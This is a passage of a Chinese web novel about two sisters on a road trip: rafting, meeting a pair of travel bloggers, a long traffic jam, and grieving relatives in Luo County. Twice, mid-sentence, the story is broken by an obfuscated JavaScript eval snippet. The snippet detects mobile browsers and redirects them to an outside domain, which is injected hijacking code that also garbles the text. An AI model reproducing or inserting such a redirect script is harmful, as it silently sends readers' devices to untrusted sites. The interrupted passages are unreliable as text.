听着这话,映年笑一声,又低头,她说:“我也不够好。” 哭的是昭岁,震颤的却是映年。她显然没想到昭岁能如此。 这一刻她是想到了陈恩柔——在头像更换后,再叫大脸猫有些站不住脚了——她在想,那会儿必定让陈恩柔丢脸。前阵子那场通话,似乎是在彼此忏悔,其实映年道歉时,带着“曲意逢迎”的心思,“哄”好、维系好陈恩柔的关系,是首要目的。 至于为什么,首当其冲的是映年觉得可能需要这个朋友。要从昭岁的标准来说,她的确不够诚恳。陈恩柔没有“上当”,这样对待她,就是“活该”。 “需要”这个点,映年本来以为是老秦的聚会给的,现在感觉不尽然是。映年一直游离在人群中,她认为这就是一种抗争,突然发现自动游离和非自动游离是不同的。 玻璃栈道没继续走完。 重新到寄存东西的地方,她们把鞋脱下来,映年想拿手机,被昭岁制住了,放在储物的地方。她们换了双临时购买的拖鞋,穿好救生衣,去排队漂流。 这次峡谷历险的人只多不少。 漂流船是六人的,大多是临时到场的组合。昭岁私心想和女孩们一块组,她寻觅目标,当真看到了合适人选。 排在她们后头些的,是逍遥小姚。曾经有过一面之缘的博主,没想到在这里碰上了。 她便拉着映年主动去问。 逍遥小姚没想到有着出,没拒绝,就说排到了一块,她们正好四个人。后头也有两个人,看着年纪三十左右,穿着同一套姐妹装。 昭岁说:“我们见过,在鹊市。” 小姚说:“……噢,我记得。” 昭岁看她的眼,不确信对方真的是否记得。感觉这样开场特别不好,让对方产生了一种难堪的礼貌。 昭岁问:“你们没带相机吗?” 小姚说:“不玩了。” 姐姐逍遥反驳:“就是忘带了。” 小姚直言不讳:“就是不玩了。” 昭岁察言观色,没在问了。她往后面挪,到了映年的身边。后头这对同行的姐妹,和她们招呼。 一人说:“没冲浪?” 昭岁看她。 那人继续说:“她们炸号了。” 昭岁问:“什么意思?” “我以为你是粉丝呢?结果不是。” 昭岁恨没有拿手机出来。出门这些天,她没怎么刷到过逍遥小姚。 “我是觉得没什么,我们骑车遇见的,爆胎了,她们捎了我们一程。” 坐在船上漂流时,情况依旧没有得到解答。 漂流分两段,一是高落差随船漂流,二是自由仰躺漂流。 昭岁和映年坐在船中间,本来说事分配划桨的任务,真到漂流起来,压根没有船桨的用武之地,二人只能抓着船身上把手,确保自己不会被甩出去。 坡下往漂着,浪翻上来,往身上船上灌,冰冷冷的,太阳直射着头盔,又发烫。她们有时是正着前进,有时是倒着前进,叫喊声伴随着浪潮此起彼伏。 昭岁说:“我觉得该去海边冲浪——” 话还没落,高低差的下坠让她的下巴磕了一下。平稳时,她还是说:“你一定很在行。” 映年清楚昭岁在害怕即将到达的目的,顺着话说:“正好可以让你穿比基尼。” 昭岁听着,突然笑了。 接下来有水枪水瓢的玩闹。她们船什么装备都没有的,上船时昭岁想买,被骑车人撵着上了船,说是半路完全可以捡装备。 不是捡装备,完全是吃装备。船上漂着漂着,不知道咋就把水瓢吃进来了。她们拿着水瓢去舀水来打,扑向别人人群,同样遭到了洗礼。 同在一个船上比卡丁车的体验更强,让映年有了一种参与感,她总被滋得睁不开眼。 昭岁是玩闹得厉害,见映年被欺负,终于逮着机会想去捞水上的水枪,没想到一个重力自己翻了出去,落在水里了。落在水里,她也不管这些,就要去捞水枪。 映年想转移位置, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246819|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把船桨递过去,让她上来,没想到逍遥先她一步,半个身子已经勾出去了,去抓住了昭岁的救生服。 这一下让船倾斜失重,映年只好回原处,往下挖,另外三人也尽可能帮着平衡。可还是没平衡好,整个船翻起来,一个落水变成六人落水。 好在这一带水浅。 船重新翻过来,骑车两人先上了船,再挨着把人拉了上去。 这会儿临时坐着,两人和骑车人面对面了。 映年道歉:“我妹贪玩,不好意思。” 骑车的一人无所谓:“有什么,出来玩呗,漂流正常。” 昭岁盯着骑车的两人。 救生服已经遮住姐妹装,鞋子还在外头,是一对泡泡拖鞋。一双紫色一双粉色,上面的配件是交换过的,紫色配件在粉色鞋上,粉色的在紫色上。 二人对视,一人在调整另一人的头盔。 她呐呐问:“你们……?” 坐在左边的人见她这模样,突然也笑了:“是。” 映年也看过来。 右边的人说:“以前是同事来着,辞职出来骑车了。” 映年说:“同事居然可以交朋友。” 昭岁撞她一下,白眼:“你懂什么?” 漂流到了后半段,船就在着停止了。游客弃船,开始进行仰躺漂流。 水很浅,站起来就到腰部。 昭岁躺下去,要去牵映年的手,摸到了骑车人的,说了声抱歉,转头拉着映年过来。 小姚还在一块呢,她建议六人一起摆个圈。这想法被逍遥否定了,河道不宽,摆圈拦路。于是各自还是漂各自的。 刚才船上漂流是激情,现在就是恬静。仰躺着,在物理意义上的随波逐流,昭岁心情稍稍好了些。她再次转头去看那对骑车的人,她们手牵着手在漂。 一人手腕上带着玉镯,另一人是有个表带的痕迹,无一例外都没有做指甲。 昭岁抠了抠指甲。上次涂的甲油,基本没了。 映年的注意力则在逍遥小姚上。小姚是一号床的小学同学呢,实际和她年龄差不多大,能到处玩还能财富自由。虽然姐妹俩年龄差大,可对彼此的关心只多不少,能和姐妹一起旅游,真幸福。 枕在青绿色的河流上漂着,有绿树环阴,阳光遮了大半,河水把衣服揉皱又抚平,头发贴着水面在漂,像是水藻,寄生在了脸上。 昭岁脸颊发烫,心突突在跳,她翻身扣在水里,睁不开眼,憋着气,清清凉凉的。过了会儿,有人在捉她的手。昭岁重新翻过来,看着映年侧头对她笑。 昭岁说:“我很敬佩她们。” 映年说:“我们也一样啊,现在。” 昭岁说:“不一样的。” 映年不服:“就是没买车而已。” 昭岁沉默了会儿,说:“嗯,我们也一样。” 昭岁说完,又翻了过去,脸贴在水里,吐了会儿泡泡。 到终点地方,是一片巨大的水潭。六人还是手牵着手,组成了一个圆。 逍遥说:“就该带无人机的。” 小姚说:“我就不带。” 这个圆敦实可靠,让六人感觉充盈又满足。 上岸时,小姚约她们一块去吃火锅,问去不去,昭岁想去,又怕映年吃不惯荤油,小姚说只有牛油火锅。映年看出昭岁想去,就说都行。 _ 逍遥小姚只有一个小煮锅,插着电咕嘟咕嘟的冒泡,六人挤在露营桌上等水烧涨。 骑车人带了点面包,已经分切好了发给大家。映年包里余有一些饼干,昭岁的蜂蜜忘了给齐美裳带回去,这会儿也拿出来抹面包分享,嚼着蜂巢在刷手机。 她问小姚:“你不介意我检索一下你吧?” 正在搜索的映年一顿,目光偷瞄二人。昭岁比她坦荡荡多了。 小姚对着贴脸而来的话很诧异,笑了:“没事。” 逍遥小姚涨粉速度不快不慢,粉丝三十万左右,在垂类向不算太大的博主,可爆款视频不少,很多粉丝是被旅游人物关系吸引。 搜到词条,除了一些没授权的搬运,还有八卦的总结。 今年七月视频中,出现一条留言说是逍遥从前坐过牢。本来淹没下来,又有人特意做视频提及逍遥砸车闹事坐牢。一时激起千层浪,网友们真把逍遥的行政处罚判决给找出来,实锤了。 作为有过案底的人员,从事自媒体露面的自媒体工作,是不被多数人接受的。何况,砸车的人用房车旅游,太讽刺了。 她们没签公司,应该优先找专业团队处理,没想到小姚直接开怼,导致事情发酵。后续,逍遥小姚的账号被举报掉了。小姚也没留恋,直接注销了账号。 “真的吗?”昭岁问。 “是,就是砸了车。”小姚说。 “为什么?”映年问。 “理由不重要了,我就是蹲过。”逍遥说,“我想分割开,我退出后,小姚还可以自己做。” “不,理由很重要,她就是为了我。”小姚说,“网友没错,她也没错,我也没错。” 昭岁问:“那为什么对骂?” “我受不了这种污言秽语对我姐。”小姚说,“我接受销号,就是不爽这么说她。不过归根结底是我错,确实不该我让我姐卷入了互联网纷争。” 骑车一人说:“换个职业一起生活也行。” 逍遥说:“她就不该带我的。” 昭岁想说,网友愤怒的是有案底的人还有“侥幸”心理来做自媒体吧?可是换位小姚的角度,的确能自圆其说。 昭岁还以为映年对这种事很排斥,可转念想,映年也是不怕事的主。姐妹俩不约而同地想起了起去警局的那晚,乖巧坐在椅凳上的齐美裳和祁孝逑。 映年说:“我在薛在洲那听过你的事情,她说你很厉害。” 小姚狐疑地看着她。映年还以为小姚和他一样记不得从前的同学,于是提醒了一下:“就是你小学同学,你们在临河附小念的书吧?她那会儿成绩就挺好的,参加过一些比赛,应该有点印象吧?” 不止这些,映年说了身份的事情,又说着一号床怎么夸奖小姚的精神品质,如何在这种家庭中成长起来,特别不容易。 小姚突然低头笑起来,她说:“其实我和她特别不对付,小学还打过架,毕业后就没联系过。” 在场的人都愣住了,相继笑起来。独独映年沉默,她想起大一时候和一号床组过小组作业,她为对方摸鱼一事吵架很厉害,后来为了宿舍和谐再也没一起组过小组。那会儿的事情,是一号床买了些零食薯片送给映年,递了台阶,也就不了了之了。 前三年关系绝对称不上亲近,临近大四开始实习的时候,才走的近了些。不过当时她俩就在一个项目组,映年再也没有因为完成度发过脾气。 聊了一会儿读书的事情,又在讲将来的打算。 骑车人是一路上骑车,没做自媒体,她们的工作就比较自由,接点设计的活。 “工作五年,完成项目为零,我都不知道我简历怎么写。然后问我干什么的?我说做单机游戏的,对方立马理解了。” 她们说着,苦笑起来,有种凄惨感。 昭岁听着,她立马问起杰克先生那款游戏。 “那游戏很好啊,众筹起死回生还盈利了。工作室流动也不大,核心成员很稳定,福利一般,不过都是有梦想在做的。我以前也有梦想,被砍的受不了了。” 昭岁没说话,映年却主动说起杰克先生的设计。 “是挺劝退的,导致负分挺多的。不过谁也说不准,你要我来说,我只能按设计者的方向来讲,我觉得不错的。” 昭岁说:“果然是把戏。”可她还是难免伤心。 “我把自媒体挣的钱都捐给妇联了。”小姚看着冒泡的火锅,对着逍遥说,“我们应该问心无愧。” 逍遥说:“我是觉得对不起小姚。” 小姚本来做数码博主有一点小粉丝群体,稍微有点积蓄,后头真起来还是因为姐妹旅游,账号是主要的资金来源。 昭岁问:“那你们还旅游吗?” 逍遥说:“资金不支持。” 昭岁说:“把车卖了。” 小姚问:“车卖了怎么继续?” 昭岁说:“和我们一样。” 44.第 44 章 公交车停在山路上。 昭岁拿着手机在看路况,有显示最近泥石流的警告,她怀疑可能是原因。 两人没有座位,只能站在车厢,扒着扶手。 昨天骑车人晚上就走了,姐妹俩就在景区停车场睡了一晚,逍遥小姚知道姐妹俩顺路,邀请她们上房车,一块过去。昭岁拒绝了。 这会儿,如果坐在房车上至少有位置。也可能房车早就下山了。 “后悔不?”映年问。 “不,”昭岁说,“就算是你同学的同学,就算是认识,她坐牢实锤,原因也是一面之词。” “我看你吃挺多,不怕毒发身亡?”映年说。 这话一出,昭岁沉默了,盯着映年。映年看着昭岁的眼睛,避开了。看来她还没有完全掌握玩笑的尺度。 逍遥小姚真有难处,又只有自媒体收入,可能的解决方法就是说明当时的情况。不至于让逍遥受着这份骂,可转一想,逍遥也是甘愿着,说出后可能枪口就对准小姚了。 这有自揭伤疤也无法继续从业的风险,衡量下这种操作的可能性有,但也没那么容易。 人只有看别人事儿的时候,看得最开。 没有时限的堵车让时间变得难捱,乘客早就超过了社交意义上的友好距离,人挨着人,往右转头是这人的手臂,往坐转头是那人的头顶。山野车道上没什么香水味,还没有香精勾兑的零食,可光是躁动的呼吸和粘腻的汗渍都让人够不爽了。 堵车无疑加强了这场感知。 昭岁突然意识到,让映年陪着一路下来,这对于她来说可能是一种慷慨的牺牲。 昭岁说:“要不下车吧?走过去。” 映年说:“附近哪有车。” 昭岁虽然说是走下去,实际她也没有任何把握。即便有一通识图的本领,可距离上次来时,这又变了样。 她就来过骡县两次,一次是结婚的时候,一次是刘太爷爷去世了。她惊异于地区的命名方式,螺市的骡县。在刚认识刘海洋的时候,年纪不到十岁,对这字的学习不懂,总是混淆。齐美裳结婚时带着她来了骡县,骑了一次骡子,算是有着参照物终于明白了。 刘太爷爷去世是她初中的事情了。这些年,齐美裳尽量避免去骡县,太爷爷对刘海洋疼爱有加,总该去的。 记忆中远处有工厂的烟囱又扁又高,有白烟升上天空,不知何时已经推平了,这样看过去,是一条条高耸的水泥柱子。去年大霜就说,骡县在修高架,到现在只打了桩,进度缓慢。 她打开大霜的微信朋友圈,发现有一条新的,时间是今天下午五点。不是她以为的高考录取截图,配图是一张天空的图片,前景有一个举着的网球拍,后面有裸露的高架柱子出镜,文案是:已被晒服。大霜没去市里,就在骡县。 堵车到一个小时,有部分乘客的要下车,司机开了车门。 昭岁在网上看路况,刷到了堵车的原因。有司机撞死了农民养的鸭子,村民联合着堵成人墙,要求赔偿。肇事车辆早就开走了,剩下的车没犯错,不愿意给钱。僵持不下了,警方和村委会一起调解着。 昭岁在这条贴子下面留言:鸭子都是认路的,怎么会在大马路上走? 可能这一条路堵车的人不在少数,很快就有人回复她:这是重点吗? 昭岁盯着这回答,笑了。她还是在思索为什么,突然一下,想到了。打桩的高架建在河滩旁,每天叮叮当当的,鸭子估摸着也受不了吧。它们首批受到骚扰的族群,真到迁徙的时候,又被旧路上的车撞死了。 堵到两个小时的时候,又下了一拨人,昭岁和映年终于有位置了。这位置靠窗,阳光透进来晒着,她们只能把外套拿出来支着遮阳,也阻拦了大部分往下吹的空调。 手机率先撑不住,昭岁把充电宝拿出来充电,她在用表格整理路线,记录一下时长和路况,打了一会儿很烫,她瞥眼看映年在做什么。 映年在看学校那晚没看完的恐怖片。昭岁凑过去看,映年分给她一个耳塞,两人挤在一块看一个小屏幕。 在这充盈的阳光下,体会是不害怕,屏幕最亮还反光,稍微晃神就能看到自己的眼睛,一点氛围都没有。 反倒是给了俩人一起吐槽说话的空隙。 电影里的一个配角,耿耿于怀于一次□□,到学校贮藏库里去翻到了从前的试卷,终于心安了。即便这被学校里的恐怖生物袭击,他也要冒着这个风险。 “这几天做梦,我感觉我是错了一道几何题。”昭岁说。 “没对答案?”映年问。 “对了,我不记得。” “数学考挺好啊,应该不是。” “我不会在多年以后,还要在梦里去做高考的那道题吧?然后惊醒。”恐怖的不是错漏那道几何题,是自己可能在潜意识中,不满现状又无力承受,才去找个无法改变的事实。 在这之前,昭岁更多梦见的是刘海洋和她一块玩赛车的场景。 谁也不当冤大头的结果是堵车堵了五个小时。公交车人很多是附近居民,下车差不多了,行驶时只剩了半车人。路过事发地点时,昭岁从窗户探头出去,果然在路边发现了一处尽是羽毛和血的地儿。鸭子已经不在了。 堵车打乱了出行的计划,下一站换乘车辆结束后,没赶上末班车。 这一片还不方便露宿,俩人边走着边计划怎么办。真到一个岔口,没想到又碰到了逍遥小姚。 她们正在换胎。 小姚更清楚路况,天色近黄昏,这一带没什么车辆,再次邀请姐妹俩上车捎一段路。昭岁还是拒绝。 姐妹俩继续往前走,不一会儿,房车驶过,超越了她们。 “这一带挺多野坟的。”昭岁突然说。 “噢。”一路过来上山下山的,不见得少。 又走了一段路。 昭岁又说:“我爸刚病那会儿,谁都没说。” 映年意识到了昭岁的情绪。 再过一会儿,昭岁又说:“那游戏真不如赛车好玩,后来我发现我的差评被投诉隐藏了。” 映年把昭岁背后的帐篷包拿过来,自己背在了身上。昭岁停下来了。 映年陪着她。 昭岁说:“我给大霜打个电话,让她来接我们。” 映年说:“打车吧。” 昭岁说:“不,我要打电话。” 拖到现在,终于有了个一定去联系的借口。昭岁在前面想了很久,到小姚说与薛在洲的关系时,也想到了黄柠檬和大霜。按照黄柠檬包不住事的性子,估计她来骡县的事情,早就传进了大霜的耳朵里。 这样想,开口变得没那么难。 昭岁点开微信视频打过去。没人接。 映年说:“还打不?” 昭岁说:“走吧。” 又走了一段路,昭岁突然变得很生气,一下把包放在地上,自己坐上来,掏出手机继续打。 昭岁说:“她怎么不接我电话!” 连续打到第三个,终于有消息了,大霜挂断了。 昭岁转头看一眼映年,说:“……打车吧。” 映年蹲着呢,拿出手机打开打车软件,系统显示正在召唤司机。 昭岁的手机抖了一下,大霜的语音通话过来了。二人对视一眼,映年还没取消呼叫。 “到了?”大霜问。 “没有。”昭岁说,“你咋知道的?” “你做事敲锣打鼓不是很正常,真以为能给我什么惊喜?” “我卡山上了,能不能来接我?” “求人这态度?” “霜霜姑姑,来接一下小辈我,不然腿走断也到不了。” “我家车保养去了。”大霜学驾照是去年的事情了,拿证的朋友圈,昭岁还点赞过。 “我走不动了,我把地址发你。” “……你姐一块?咚咚在不?” “我姐在,咚咚没在。快点。” “不问清楚,怎么知道该开骡车还是汽车来。” 挂断电话,昭岁起来活动了一下,让映年坐在她包上,映年不坐。 “你坐吧,舍不得你的包,坐我的包有什么?”昭岁受不了她,撑着映年的肩膀,把人按在包上了。 映年说:“感觉你们关系挺好的。”不像是能纠结这么久的。 “不一样吧,朋友分很多种。如果我和黄柠檬分开一段时间,我会联络她,但联络就是联络,失联的空白期会影响我们之间的关系,需要一阵子去修复。和大霜就是,联络前要做足心理准备,她就是很坦诚的那种,知道我可能尴尬,但是她完全不会因为空白期影响。当然,空白期也影响我。”昭岁说着,笑了,“我其实没想到会这么自然。” _ 老屋的堂屋久未打扫,即便是请了保洁清理,空气中仍然有挥之不去的浮沉,也可能是新烧的香灰,这份旧尘与新灰杂在了一起。 灵位摆在左上角,是个小孩的脸,横幅已经撤了,面前摆着新鲜的水果。 香又要完了。 柳丝丝从抽屉里取了新香,递给刘孟德,自己也拿着一组,就着燃烧的烛火平平点着,白烟起来时,她把旧香取下来,新香插上。 刘孟德还在作揖,她退时,刘孟德上前插上香。 实际刘丕去世已经是五月的事情了,刘家人一年内故去两位亲人,总归不是好兆头。柳珍受惊住院,刘孟德就一条龙服务操办白事,被柳丝丝主动揽下。 她考虑更周到,连重丧的情况都想到,又与殡仪馆人员颇有交集,送走刘丕的葬礼葬礼办得隆重,可谓是面面俱到。乐器和哭丧没停,棺材前的香烛灭了又续,水果每日添新,只有纸做的花圈省事,可难免沾了尘,白花看上去灰扑扑的。 办完柳丝丝回了城里工作,这番回来,是送刘丕的遗物。这些天刘孟德没回家,就睡在老屋,两个长凳支着床板,就用个夏凉被盖着在睡。 到底还是舍不得刘丕。 父女俩重新坐回桌旁,刘孟德拿着绘本继续在翻,柳丝丝坐在一旁,笔记本支在旁边,在整理工作表格。 “多久开饭?”刘孟德问。 “大霜去问了,等会儿回来。”柳丝丝说,视线没平移过去,工作已经够她焦头烂额了。 “别干了,回来。”刘孟德说着,想要去扣下柳丝丝的电脑,在她抬头时,眼神对视,停住了。 柳丝丝还是一副乖乖的模样,笑容甜甜的,对他的话总是应着。刘孟德清楚她变了,他从前觉得无所谓的,现在才有心慌的感觉。 “嗯,你又不是做不动。”柳丝丝还是承着他的话,笑得很乖巧。 “家里的东西,迟早都是你的。” 刘孟德的话,是说给柳丝丝听的,也是说给自己听的。人到了六十岁,身体机能下降,他迟早会有走不动的时候,从前他觉得能培育刘丕,现在只能仰仗柳丝丝了。他这话,更多是提醒自己,要哄好柳丝丝。 早些年柳丝丝不顾阻拦学了播音,复读硬要考去传媒大学,出来进游戏公司,很多时候还需要家里接济。在他看来,都是些不务正业的活。真让他发现柳丝丝的作品,还是刘丕那,她参与的上市游戏,是耽误着青少年学习的那一卦。 她每次与家里联系,就是要钱,偶尔柳珍电话过去问近况,也是匆匆敷衍两句就挂断。刘孟德与柳丝丝,自然不算亲厚。 谁都没想到刘丕会病得这么严重。 刘孟德最初电话让柳丝丝回来,是以免传出姐弟二人兄妹不和睦,影响家里的生意。怎么劝,人都不回来。刘家人统一在今年开春做了体检,亲属们还真检查出一些问题,刘孟德就在其中,有病症早期的征兆了。 柳丝丝反而主动回来了——这理由,比起刘丕的病重,刘孟德更情愿去相信是自己的生病。 他心头复杂,想骂她,又担心她真的决心一走了之,他还有求于她。去年刘海洋去世后,刘孟德心更慌了,总觉得不是吉兆,把家里的生意拿给弟弟去管,和柳珍一块暂时去了市里的别墅,方便照顾治疗刘丕。那别墅,以前是为了给刘丕补习买的,没想到装修好就生了病。 这番回来,她一直是在市里租房,找的工作比游戏公司靠谱,在旅行社做导游。柳珍去劝她过来别墅住,把钥匙给了她,柳丝丝没回去过,真到刘丕离世后,操办葬礼的同时搬进了别墅。 柳丝丝和刘家人走得不算近,也没到远的地步。她在分寸上拿捏得刚刚好,逢人笑脸,哪怕背地里有人说她坏话,也全当不知,有人求时,尽心尽力。只有刘孟德夫妇,感觉她变了,可着变数,是夫妇俩讨来的。 大霜挂了电话进来,来叫二人吃饭。这个月刘孟德住老屋,不回去,饭都是吃她家的。 “丝丝。”大霜坐在柳丝丝旁边,“车借我一下呗?” “干嘛?”柳丝丝问。 “朋友来了。”大霜说。 柳丝丝瞟一眼刘孟德。柳珍去旅游了,家里没人,晚上刘孟德估计还想着让她留在老屋一块休息。即便他嘴上不说,计划还是这样计划的。 计划不会影响到柳丝丝。就像柳珍在今年变得殷勤起来了,明明是煲给刘丕的汤,还会给柳丝丝送去。人总归是为自己考虑的。 “走。”柳丝丝摸了摸车钥匙,“请我吃饭。” 车是刘孟德给配的,说是方便柳丝丝上下班,实际上更多时候是想要她从县到市区来回接送。 不过车挺好,刘孟德的面子很重要,出手一向大方。 “你恋爱了?”柳丝丝问。 县里没有网球场,大霜住县里的话,打球都在草场旁边的空地上,不规矩,但也能玩。柳丝丝和她打过,也清楚那地儿,今天路过时看见有个男孩在和她对打。县城不大,资源有限,人连着人,大伙都认识,大霜练球都是一个人,这番打的有来有回又来县城找她,绝对关系匪浅。 “没有。”大霜说。 “不是去找他?”柳丝丝疑惑,觉得小孩可能是害羞,“做好安全措施就行了。” “这倒不用。”大霜说着,把地址转给了柳丝丝,“海洋哥之前的女儿过来了。” “措施很重要。”柳丝丝点开地址,同步到车载导航中,“海洋叔叔不是在市区公墓吗?找这来了。” “过来看我不行吗?”大霜说,“还有,我不接受纳入式,真不是我对象,一个学弟而已。” 柳丝丝说:“那也要注意安全。” 她知道自己可能是多操心。大霜打网球,体格比她壮硕许多,高她半个头,旁人看了更多以为柳丝丝是妹妹。年龄上柳丝丝比大霜大九岁,辈份上大霜是她的姑姑。 大霜也笑:“你这人,太装了。” _ 映年打开地图,在计算这里与骡县的距离,两指衔着屏幕缩小又放大,来回反复,视线放在一片草场。 汽车到达的时间,比地图预估的时间快二十分钟。 昭岁招呼开后备箱时,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259942|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现驾驶座坐着的不是大霜,那人脸圆圆的,小巧精致,笑容甜甜和她打招呼:“昭岁是吧?长大了。” “对,就她。” 昭岁视线往里去,副驾驶坐着的才是大霜。她瞬间有麻烦别人的愧疚感。 后备箱没打开,大霜直接说:“上车,背包就抱着。” “我怕弄脏了你座位。”昭岁说。 大霜和柳丝丝对视一眼,柳丝丝打开车门下来。 “我自己来就好。”昭岁说着,先一步走到后备箱。 愣住了。 里面有两个纸箱子,有一个开了口,一摞摞的全是纸钱,还有些散的,写着天地银行。 柳丝丝把两个箱子重叠在一块,腾了一块地儿,给昭岁和映年放背包。 关车门坐上车,昭岁极度后悔硬要放后备箱。映年轻轻拍拍她的手背,算是安抚。 车辆开始行进了。 “我姐齐映年,这是刘凌霜,按辈分是叫姑姑,不过我都叫大霜。”昭岁给映年介绍大霜。 大霜和映年打了个招呼,转头递了两瓶水往后,给了两人,介绍柳丝丝:“丝丝,我大侄女,你们叫姐就行。” 映年接过水,感激:“打扰你们了。” “不算,是正好出来溜风呢。”大霜说,“这几天球馆关了,在县城住着。” 昭岁只能看到柳丝丝的侧脸,她这才反应过来两人见过一面。 刘爷爷去世是在她初中的时候,那会儿来骡县,葬礼上就说柳丝丝缺席没在。时间再往回倒,刘海洋结婚那会儿来骡县办了酒席,她见过这个姐姐。 昭岁不到十岁,当时柳丝丝还穿着高中校服。有刘家人在背地里说闲话,让小辈们该学习的时候努力学习,不要像柳丝丝一样打游戏耽误一年,又在说柳珍即将生产,要添新丁了。 齐美裳对刘家人印象不好,很大原因就是那次婚礼,明里暗里对昭岁的身份嫌弃。所以那会儿,昭岁注意到柳丝丝,完全是有种“同命相连”的错觉。 之所以是错觉,是真到刘孟德发言时,围上去恭维的也是那波人,祝福起了柳丝丝再次高考能够取得好成绩。 柳丝丝模样很显小,昭岁第一眼没认出来,真知道身份,也没往二十七岁上代,更像是同龄人。 大霜是听昭岁说完了这些天的路程,没想到她真能走到这。 “今晚打算睡哪?”大霜问。 “找个空地睡帐篷都行。”昭岁没想到住刘家房子,她不喜欢刘家亲戚。 “我也挺想睡帐篷的。” “睡袋不够。” “我自带被子行不行?” “也可以。” “那晚上有安排没?” “没有。” “那之后呢?” “走哪算哪。” “那请我们吃饭。” 柳丝丝转头看大霜一眼,笑了。 昭岁路过刘家老屋时,还很讶异:“我还以为拆了重建呢。” “本来是这样打算的,现在没有了。”大霜说。 早年刘海洋和大霜父母一块去的鹊市发展,离开前没自己的房子,就是住在老屋,回骡县来办得一场婚礼,也在老屋。前两年说着要重修老屋,刘海洋还回去几趟收拾,东西都盘点一遍都清空了,换了点钱回来给昭岁买了个大模型。 这倒是真松活了不少,死后,也不要多费力去收拾了。昭岁就反刍时,就想是不是那会儿刘海洋就已经病了。 “家里出事了吗?”昭岁不知道该不该问这话。可在大霜面前,没有装下去的必要。 “嗯。”大霜看一眼柳丝丝,接收到她的眼神准许后,继续说,“大哥家的小朋友,丝丝的弟弟。” “也是遗传病?” “不是。” 算起来,那应该是个小朋友,这么早发病,实在恐怖。昭岁松了一口气,为大霜。 吃饭的地儿是大霜找的,菌菇火锅。这顿算是昭岁和映年吃得最饱的一餐,甚至很久没吃这么热乎的了。 “海洋哥还有些小东西,什么毕业照啊手表啊,都是些读书时候的东西,上次收拾没带走,奶奶给收起来了。” 大霜回忆起二姨哭着咒骂刘家人短命的病,二姨恨这场病无法纾解,好像务必要把怨恨放在活人身上才够,那便是齐美裳了。这是“怨恨”,又不是“怨恨”,更像是一种“念想”,才能让她充满能量的活下去。在知道齐美裳再婚后,这种能量燃烧得更旺盛,很快就从失去刘丕的哀愁中振奋起来了。 她自然没当着昭岁说,只提醒昭岁:“这些是要不回来了,最多就能带你上上坟。” 昭岁来的时候,也没想那拿走什么。现在大霜这般说,她反而踌躇起来了。踌躇的不是拿不拿,而是拿走了,该放在哪。 她住在父母复婚的新家里,是“出厂设置”的一家人生活。即便是祁孝逑不在意,将刘海洋的照片摆进相册,总觉得怪怪的,如果将此束之高阁,又缺了悼念的意味。 再婚时候,来骡县一趟,齐美裳和昭岁打商量:“能不能换个称呼?” “换什么?” “你海洋叔叔的称呼?” “叫海洋叔叔不行吗?” “这是刘家人的地儿,也是他家的。” 昭岁知道齐美裳在暗示什么,她转头看一眼刘海洋,对方朝她笑:“没什么,叫叔叔也行。” 那次来,刘家人有问过齐美裳,能不能给昭岁改姓,这事是先一步被刘海洋拒绝了。继而到了下一个话题,刘海洋是头婚,去问齐美裳有再生育的打算没,给刘海洋一个亲生小孩。昭岁不知道两人怎样答,那阵子她担心真有个弟弟妹妹,又觉得刘家人真坏,齐美裳都四十多了,还要让她冒着这风险。 回去后,可能出于恐惧,也可能是担忧,还有对刘海洋的考验,昭岁开始管刘海洋叫“爸爸”了。 今年出发,她就觉得自己该来祭奠。大霜这样说,她突然觉得自己的立场很微妙。 同时她在想一件事:今年来了,明年呢?后年呢?十年后呢?二十年后呢?她好像找不到答案,而更难启齿的是,今年的这次也带着“顺便”的意图。 更像是看了攻略,故意去开第三个游戏档,让杰克来杀死自己一样,让自己好过些。 怎么到现在,只有他的妈妈还念着他了。 你也太坏了吧……不可以忘记的,昭岁告诉自己,刘海洋也算是当了你十年的爸爸。 昭岁问:“奶奶身体怎么样?” 大霜说:“好着呢,赶骡子可快乐了。” 晚上她们把帐篷扎在了大霜练球的场地。大霜真的来了,她和映年聊得不错,两人就着网球的话题聊来聊去,中途来劲了,不管搭帐篷,拿着球拍指导起了动作。 昭岁在搭帐篷,等到了齐美裳的消息。 上一条是她在吃饭的时候发的。 昭岁:你姥姥叫什么名字? 齐美裳:齐明珠。 齐美裳:怎么了?映年见过,你出生的时候不在了。 昭岁把手机放下,喊了声“映年”,问出一样的问题。映年回答:“明珠”,昭岁松了一口气。 她又打字问:为什么没立墓碑? 往年每年齐美裳都带着她祭拜的,是在临近公园的山上,对比隔壁的坟,没有墓碑。很像是这一路上遇到的各种坟——她认为从前称作野坟,太不礼貌了。 齐美裳:这个要我去问一下我妈。 45.第 45 章 骡县这名,本和骡子没什么关系。后来刘家人盘下草场养了骡子,渐渐都以为名字来源于此。骡子是马和驴的杂交生物,一般形态下不具有繁育特点。 柳丝丝对自家畜牧业了如指掌,在十九岁之前。自然见过马和驴配种,也见证骡子的诞生。那会儿家里的遗传病还没完全显现,她总觉得诞生是件奇妙的事情。 到念小学后,家里长辈相继确诊了疾病。她才清楚,诞生后继承的不只是习性,还有疾病。 刘孟德检查出病理,是意料中。 草场的活计儿,柳丝丝空窗七八年,这会儿,再去了解,时代发展对实体业的冲击力变大许多。 